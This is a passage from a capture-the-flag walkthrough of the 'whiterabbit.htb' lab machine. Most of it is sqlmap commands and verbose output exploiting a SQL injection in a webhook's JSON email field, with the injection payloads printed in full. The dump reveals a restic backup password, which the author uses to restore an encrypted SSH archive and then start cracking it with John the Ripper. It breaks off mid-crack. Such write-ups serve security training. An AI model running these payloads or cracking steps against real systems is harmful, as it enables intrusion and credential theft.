back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:18:46] [INFO] fetching database names
[16:18:46] [INFO] resumed: ‘information_schema’
[16:18:46] [INFO] resumed: ‘phishing’
[16:18:46] [INFO] resumed: ‘temp’
available databases [3]:
[*] information_schema
[*] phishing
[*] temp
</details> <details> <summary>Click to view text output</summary>
[16:18:46] [INFO] fetching tables for database: ‘information_schema’
[16:18:48] [INFO] retrieved: ‘ALL_PLUGINS’
[16:18:49] [INFO] retrieved: ‘APPLICABLE_ROLES’
[16:18:49] [INFO] retrieved: ‘CHARACTER_SETS’
[16:18:51] [INFO] retrieved: ‘CHECK_CONSTRAINTS’
[16:18:54] [INFO] retrieved: ‘COLLATIONS’
[16:18:55] [INFO] retrieved: ‘COLLATION_CHARACTER_SET_APPLICABILITY’
[16:18:55] [INFO] retrieved: ‘COLUMNS’
[16:18:56] [INFO] retrieved: ‘COLUMN_PRIVILEGES’
[16:18:57] [INFO] retrieved: ‘ENABLED_ROLES’
[16:18:57] [INFO] retrieved: ‘ENGINES’
[16:18:58] [INFO] retrieved: ‘EVENTS’
[16:18:59] [INFO] retrieved: ‘FILES’
[16:18:59] [INFO] retrieved: ‘GLOBAL_STATUS’
[16:19:00] [INFO] retrieved: ‘GLOBAL_VARIABLES’
[16:19:01] [INFO] retrieved: ‘KEYWORDS’
[16:19:01] [INFO] retrieved: ‘KEY_CACHES’
[16:19:02] [INFO] retrieved: ‘KEY_COLUMN_USAGE’
[16:19:03] [INFO] retrieved: ‘KEY_PERIOD_USAGE’
[16:19:03] [INFO] retrieved: ‘OPTIMIZER_COSTS’
[16:19:04] [INFO] retrieved: ‘OPTIMIZER_TRACE’
[16:19:05] [INFO] retrieved: ‘PARAMETERS’
[16:19:06] [INFO] retrieved: ‘PARTITIONS’
[16:19:06] [INFO] retrieved: ‘PERIODS’
[16:19:07] [INFO] retrieved: ‘PLUGINS’
[16:19:08] [INFO] retrieved: ‘PROCESSLIST’
[16:19:08] [INFO] retrieved: ‘PROFILING’
[16:19:09] [INFO] retrieved: ‘REFERENTIAL_CONSTRAINTS’
[16:19:11] [INFO] retrieved: ‘ROUTINES’
[16:19:11] [INFO] retrieved: ‘SCHEMATA’
[16:19:12] [INFO] retrieved: ‘SCHEMA_PRIVILEGES’
[16:19:13] [INFO] retrieved: ‘SEQUENCES’
[16:19:14] [INFO] retrieved: ‘SESSION_STATUS’
[16:19:14] [INFO] retrieved: ‘SESSION_VARIABLES’
[16:19:15] [INFO] retrieved: ‘STATISTICS’
[16:19:16] [INFO] retrieved: ‘SQL_FUNCTIONS’
[16:19:17] [INFO] retrieved: ‘SYSTEM_VARIABLES’
[16:19:17] [INFO] retrieved: ‘TABLES’
[16:19:18] [INFO] retrieved: ‘TABLESPACES’
[16:19:19] [INFO] retrieved: ‘TABLE_CONSTRAINTS’
[16:19:19] [INFO] retrieved: ‘TABLE_PRIVILEGES’
[16:19:20] [INFO] retrieved: ‘TRIGGERS’
[16:19:21] [INFO] retrieved: ‘USERS’
[16:19:21] [INFO] retrieved: ‘USER_PRIVILEGES’
[16:19:22] [INFO] retrieved: ‘VIEWS’
[16:19:23] [INFO] retrieved: ‘CLIENT_STATISTICS’
[16:19:25] [INFO] retrieved: ‘INDEX_STATISTICS’
[16:19:26] [INFO] retrieved: ‘INNODB_FT_CONFIG’
[16:19:28] [INFO] retrieved: ‘GEOMETRY_COLUMNS’
[16:19:28] [INFO] retrieved: ‘INNODB_SYS_TABLESTATS’
[16:19:29] [INFO] retrieved: ‘SPATIAL_REF_SYS’
[16:19:29] [INFO] retrieved: ‘USER_STATISTICS’
[16:19:30] [INFO] retrieved: ‘INNODB_TRX’
[16:19:31] [INFO] retrieved: ‘INNODB_CMP_PER_INDEX’
[16:19:31] [INFO] retrieved: ‘INNODB_METRICS’
[16:19:33] [INFO] retrieved: ‘INNODB_FT_DELETED’
[16:19:34] [INFO] retrieved: ‘INNODB_CMP’
[16:19:34] [INFO] retrieved: ‘THREAD_POOL_WAITS’
[16:19:35] [INFO] retrieved: ‘INNODB_CMP_RESET’
[16:19:36] [INFO] retrieved: ‘THREAD_POOL_QUEUES’
[16:19:37] [INFO] retrieved: ‘TABLE_STATISTICS’
[16:19:38] [INFO] retrieved: ‘INNODB_SYS_FIELDS’
[16:19:38] [INFO] retrieved: ‘INNODB_BUFFER_PAGE_LRU’
[16:19:39] [INFO] retrieved: ‘INNODB_LOCKS’
[16:19:40] [INFO] retrieved: ‘INNODB_FT_INDEX_TABLE’
[16:19:43] [INFO] retrieved: ‘INNODB_CMPMEM’
[16:19:43] [INFO] retrieved: ‘THREAD_POOL_GROUPS’
[16:19:44] [INFO] retrieved: ‘INNODB_CMP_PER_INDEX_RESET’
[16:19:45] [INFO] retrieved: ‘INNODB_SYS_FOREIGN_COLS’
[16:19:45] [INFO] retrieved: ‘INNODB_FT_INDEX_CACHE’
[16:19:46] [INFO] retrieved: ‘INNODB_BUFFER_POOL_STATS’
[16:19:46] [INFO] retrieved: ‘INNODB_FT_BEING_DELETED’
[16:19:47] [INFO] retrieved: ‘INNODB_SYS_FOREIGN’
[16:19:48] [INFO] retrieved: ‘INNODB_CMPMEM_RESET’
[16:19:48] [INFO] retrieved: ‘INNODB_FT_DEFAULT_STOPWORD’
[16:19:49] [INFO] retrieved: ‘INNODB_SYS_TABLES’
[16:19:50] [INFO] retrieved: ‘INNODB_SYS_COLUMNS’
[16:19:50] [INFO] retrieved: ‘INNODB_SYS_TABLESPACES’
[16:19:51] [INFO] retrieved: ‘INNODB_SYS_INDEXES’
[16:19:52] [INFO] retrieved: ‘INNODB_BUFFER_PAGE’
[16:19:53] [INFO] retrieved: ‘INNODB_SYS_VIRTUAL’
[16:19:54] [INFO] retrieved: ‘user_variables’
[16:19:54] [INFO] retrieved: ‘INNODB_TABLESPACES_ENCRYPTION’
[16:19:55] [INFO] retrieved: ‘INNODB_LOCK_WAITS’
[16:19:55] [INFO] retrieved: ‘THREAD_POOL_STATS’
Database: information_schema
[84 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| KEY_PERIOD_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PERIODS                               |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SEQUENCES                             |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USERS                                 |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| OPTIMIZER_COSTS                       |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+
</details> <details> <summary>Click to view text output</summary>
[16:19:56] [INFO] fetching columns for table ‘STATISTICS’ in database ‘information_schema’
[16:19:57] [INFO] retrieved: ‘TABLE_CATALOG’
[16:19:57] [INFO] retrieved: ‘varchar(512)’
[16:19:58] [INFO] retrieved: ‘TABLE_SCHEMA’
[16:20:01] [INFO] retrieved: ‘varchar(64)’
[16:20:02] [INFO] retrieved: ‘TABLE_NAME’
[16:20:03] [INFO] retrieved: ‘varchar(64)’
[16:20:03] [INFO] retrieved: ‘NON_UNIQUE’
[16:20:04] [INFO] retrieved: ‘bigint(1)’
[16:20:05] [INFO] retrieved: ‘INDEX_SCHEMA’
[16:20:05] [INFO] retrieved: ‘varchar(64)’
[16:20:06] [INFO] retrieved: ‘INDEX_NAME’
[16:20:07] [INFO] retrieved: ‘varchar(64)’
[16:20:08] [INFO] retrieved: ‘SEQ_IN_INDEX’
[16:20:08] [INFO] retrieved: ‘bigint(2)’
[16:20:09] [INFO] retrieved: ‘COLUMN_NAME’
[16:20:10] [INFO] retrieved: ‘varchar(64)’
^C
</details>

Nothing there as well, until the other database called temp, we now can determite a machine Config and history.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers="Content-Type: application/json" --proxy http://127.0.0.1:9009 --random-agent --batch --time-sec 3 --technique=UBE --dbms=mysql --dump --dbs -D temp --tables -vvv         
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[)]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [(]     | .’| . |                                                                                                                                                                                                                   
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:28:07 /2025-11-06/
<details> <summary>Click to view text output</summary>
[16:28:07] [DEBUG] cleaning up configuration parameters
[16:28:07] [DEBUG] setting the HTTP timeout
[16:28:07] [DEBUG] setting extra HTTP headers
[16:28:07] [DEBUG] setting the HTTP User-Agent header
[16:28:07] [DEBUG] loading random HTTP User-Agent header(s) from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
[16:28:07] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’                                                                                                                                                                                                                                 
[16:28:07] [DEBUG] setting the HTTP/SOCKS proxy for all HTTP requests
[16:28:07] [DEBUG] creating HTTP requests opener object
[16:28:07] [DEBUG] forcing back-end DBMS to user defined value
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
[16:28:08] [DEBUG] used the default behavior, running in batch mode
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:28:08] [DEBUG] used the default behavior, running in batch mode
[16:28:08] [INFO] testing connection to the target URL
[16:28:10] [DEBUG] declared web page charset ‘utf-8’
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {”campaign_id”:1,”email”:”“ RLIKE (SELECT (CASE WHEN (5721=5721) THEN ‘’ ELSE 0x28 END))-- kgPA”,”message”:”Clicked Link”}
    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))
</details> <details> <summary>Click to view text output</summary>
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {”campaign_id”:1,”email”:”“ AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5497=5497,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ykCs”,”message”:”Clicked Link”}
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(’[DELIMITER_START]’,([QUERY]),’[DELIMITER_STOP]’,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
---
[16:28:10] [INFO] testing MySQL
[16:28:10] [DEBUG] performed 0 queries in 0.00 seconds
[16:28:10] [INFO] confirming MySQL
[16:28:10] [DEBUG] performed 0 queries in 0.00 seconds
[16:28:10] [PAYLOAD] “ AND (SELECT 8357 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (CASE WHEN (ISNULL(VECTOR_DIM(NULL))) THEN 1 ELSE 0 END)),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yorl
[16:28:13] [WARNING] reflective value(s) found and filtering out
[16:28:13] [DEBUG] performed 1 query in 2.77 seconds
[16:28:13] [PAYLOAD] “ AND (SELECT 5721 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (CASE WHEN (ISNULL(JSON_STORAGE_FREE(NULL))) THEN 1 ELSE 0 END)),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dgkP
[16:28:14] [DEBUG] performed 1 query in 0.64 seconds
[16:28:14] [DEBUG] performed 0 queries in 0.00 seconds
[16:28:14] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:28:14] [INFO] fetching database names
[16:28:14] [DEBUG] used SQL query returns 3 entries
[16:28:14] [INFO] resumed: ‘information_schema’
[16:28:14] [INFO] resumed: ‘phishing’
[16:28:14] [INFO] resumed: ‘temp’
[16:28:14] [DEBUG] performed 0 queries in 0.00 seconds
available databases [3]:
[*] information_schema
[*] phishing
[*] temp
</details>
[16:28:14] [INFO] fetching tables for database: ‘temp’
[16:28:14] [DEBUG] used SQL query returns 1 entry
[16:28:14] [INFO] resumed: ‘command_log’
[16:28:14] [DEBUG] performed 0 queries in 0.00 seconds
Database: temp
[1 table]
+-------------+
| command_log |
+-------------+
<details> <summary>Click to view text output</summary>
[16:28:14] [INFO] fetching columns for table ‘command_log’ in database ‘temp’
[16:28:14] [DEBUG] used SQL query returns 3 entries
[16:28:14] [INFO] resumed: ‘id’
[16:28:14] [INFO] resumed: ‘int(11)’
[16:28:14] [INFO] resumed: ‘command’
[16:28:14] [INFO] resumed: ‘varchar(255)’
[16:28:14] [INFO] resumed: ‘date’
[16:28:14] [INFO] resumed: ‘timestamp’
[16:28:14] [DEBUG] performed 0 queries in 0.00 seconds
[16:28:14] [INFO] fetching entries for table ‘command_log’ in database ‘temp’
[16:28:14] [DEBUG] used SQL query returns 6 entries
[16:28:14] [INFO] resumed: ‘2024-08-30 10:44:01’
[16:28:14] [INFO] resumed: ‘uname -a’
[16:28:14] [INFO] resumed: ‘1’
[16:28:14] [INFO] resumed: ‘2024-08-30 11:58:05’
[16:28:14] [INFO] resumed: ‘restic init --repo rest:http://75951e6ff.whiterabbit.htb’
[16:28:14] [INFO] resumed: ‘2’
[16:28:14] [INFO] resumed: ‘2024-08-30 11:58:36’
[16:28:14] [INFO] resumed: ‘echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd’
[16:28:14] [INFO] resumed: ‘3’
[16:28:14] [INFO] resumed: ‘2024-08-30 11:59:02’
[16:28:14] [INFO] resumed: ‘rm -rf .bash_history ‘
[16:28:14] [INFO] resumed: ‘4’
[16:28:14] [INFO] resumed: ‘2024-08-30 11:59:47’
[16:28:14] [INFO] resumed: ‘#thatwasclose’
[16:28:14] [INFO] resumed: ‘5’
[16:28:14] [INFO] resumed: ‘2024-08-30 14:40:42’
[16:28:14] [INFO] resumed: ‘cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd’
[16:28:14] [INFO] resumed: ‘6’
[16:28:14] [DEBUG] performed 0 queries in 0.00 seconds
[16:28:14] [DEBUG] analyzing table dump for possible password hashes
Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
</details>
[16:28:14] [INFO] table ‘temp.command_log’ dumped to CSV file ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb/dump/temp/command_log.csv’
[16:28:14] [INFO] fetched data logged to text files under ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb’
[*] ending @

In regular with non-verbosity:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers="Content-Type: application/json" --proxy http://127.0.0.1:9009 --random-agent --batch --time-sec 3 --technique=UBE --dbms=mysql --dump --dbs -D temp --tables
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[’]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [.]     | .’| . |                                                                                                                                                                                                                   
|___|_  [’]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:17:51 /2025-11-06/
[16:17:51] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1)’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’                                                                                                                                                                                                                    
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:17:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {”campaign_id”:1,”email”:”“ RLIKE (SELECT (CASE WHEN (5721=5721) THEN ‘’ ELSE 0x28 END))-- kgPA”,”message”:”Clicked Link”}
<details> <summary>Click to view text output</summary>
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {”campaign_id”:1,”email”:”“ AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5497=5497,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ykCs”,”message”:”Clicked Link”}
---
[16:17:52] [INFO] testing MySQL
[16:17:52] [INFO] confirming MySQL
[16:17:53] [WARNING] reflective value(s) found and filtering out
[16:17:54] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:17:54] [INFO] fetching database names
[16:17:54] [INFO] resumed: ‘information_schema’
[16:17:54] [INFO] resumed: ‘phishing’
[16:17:54] [INFO] resumed: ‘temp’
available databases [3]:
[*] information_schema
[*] phishing
[*] temp
</details>
[16:17:54] [INFO] fetching tables for database: ‘temp’
[16:17:55] [INFO] retrieved: ‘command_log’
Database: temp
[1 table]
+-------------+
| command_log |
+-------------+
<details> <summary>Click to view text output</summary>
[16:17:55] [INFO] fetching columns for table ‘command_log’ in database ‘temp’
[16:17:57] [INFO] retrieved: ‘id’
[16:17:57] [INFO] retrieved: ‘int(11)’
[16:17:58] [INFO] retrieved: ‘command’
[16:17:59] [INFO] retrieved: ‘varchar(255)’
[16:17:59] [INFO] retrieved: ‘date’
[16:18:00] [INFO] retrieved: ‘timestamp’
[16:18:00] [INFO] fetching entries for table ‘command_log’ in database ‘temp’
[16:18:02] [INFO] retrieved: ‘2024-08-30 10:44:01’
[16:18:02] [INFO] retrieved: ‘uname -a’
[16:18:03] [INFO] retrieved: ‘1’
[16:18:17] [INFO] retrieved: ‘2024-08-30 11:58:05’
[16:18:18] [INFO] retrieved: ‘restic init --repo rest:http://75951e6ff.whiterabbit.htb’
[16:18:19] [INFO] retrieved: ‘2’
[16:18:21] [INFO] retrieved: ‘2024-08-30 11:58:36’
[16:18:22] [INFO] retrieved: ‘echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd’
[16:18:23] [INFO] retrieved: ‘3’
[16:18:25] [INFO] retrieved: ‘2024-08-30 11:59:02’
[16:18:26] [INFO] retrieved: ‘rm -rf .bash_history ‘
[16:18:27] [INFO] retrieved: ‘4’
[16:18:29] [INFO] retrieved: ‘2024-08-30 11:59:47’
[16:18:30] [INFO] retrieved: ‘#thatwasclose’
[16:18:31] [INFO] retrieved: ‘5’
[16:18:31] [INFO] retrieved: ‘2024-08-30 14:40:42’
[16:18:33] [INFO] retrieved: ‘cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd’
[16:18:33] [INFO] retrieved: ‘6’
Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
</details>
[16:18:33] [INFO] table ‘temp.command_log’ dumped to CSV file ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb/dump/temp/command_log.csv’
[16:18:33] [INFO] fetched data logged to text files under ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb’
[*] ending @

+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

Looks like restic, might look even Stimic.

  1. Insecure AES Back-Up programs attack with Restic

Now that I remembered, this is a new Subdomain and a User named neo:

http://75951e6ff.whiterabbit.htb/

Meh. . .Back to the restic. And to give a clear background, Restic are some kind of cross-platform backup program written in the go I believe.

Used fo encrypting data using AES-256, and Authenticating Data with Poly-AES. Restic is a fast and secure data file backup program.

┌──(root㉿kali)-[/]
└─# echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ sudo restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd snapshots
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /root/.cache/restic
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-07 00:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd ls 272cacd5
repository 5b26a938 opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
[0:00] 100.00%  5 / 5 index files loaded
snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit filtered by []:
/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ ls -al               
total 12
drwxr-xr-x 2 root root 4096 Nov  6 16:32 .
drwxr-xr-x 5 root root 4096 Nov  6 16:32 ..
-rw-r--r-- 1 root root   33 Nov  6 16:32 .restic_passwd
</details>

Then we’re gonna import it:

┌──(kali㉿kali)-[~]
└─$ sudo restic -r rest:http://75951e6ff.whiterabbit.htb --password-file .restic_passwd restore 272cacd5 --include /dev/shm/bob/ssh/bob.7z --target .
repository 5b26a938 opened (version 2, compression level auto)
[0:01] 100.00%  5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to .
Summary: Restored 5 / 1 files/dirs (572 B / 572 B) in 0:00
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Nov  6 16:36 .
drwxr-xr-x 5 root root 4096 Nov  6 16:32 ..
drwxr-xr-x 3 root root 4096 Feb 27  2025 dev
-rw-r--r-- 1 root root   33 Nov  6 16:32 .restic_passwd

Got em.

┌──(kali㉿kali)-[~]
└─$ tree .     
.
└── dev
    └── shm
        └── bob
            └── ssh
                └── bob.7z
5 directories, 1 file

Great, a zip files:

┌──(kali㉿kali)-[~]
└─$ cd dev/shm/bob/ssh 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ ls    
bob.7z
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ sudo 7z x bob.7z                                                                                                                                 
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 572 bytes (1 KiB)
Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1
    
Enter password (will not be echoed):

Password protection allert!

We can crack it with John no worries:

┌──(root㉿kali)-[/]
└─# 7z2john bob.7z > hash.txt
┌──(root㉿kali)-[/]
└─# cat hash.txt  
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00

Time to crack is about 3 min, supposed if you crack with Hashcat while Cuda is running might be faster:

┌──(root㉿kali)-[/]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=7z
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 SSE2 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 3 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 365 for all loaded hashes
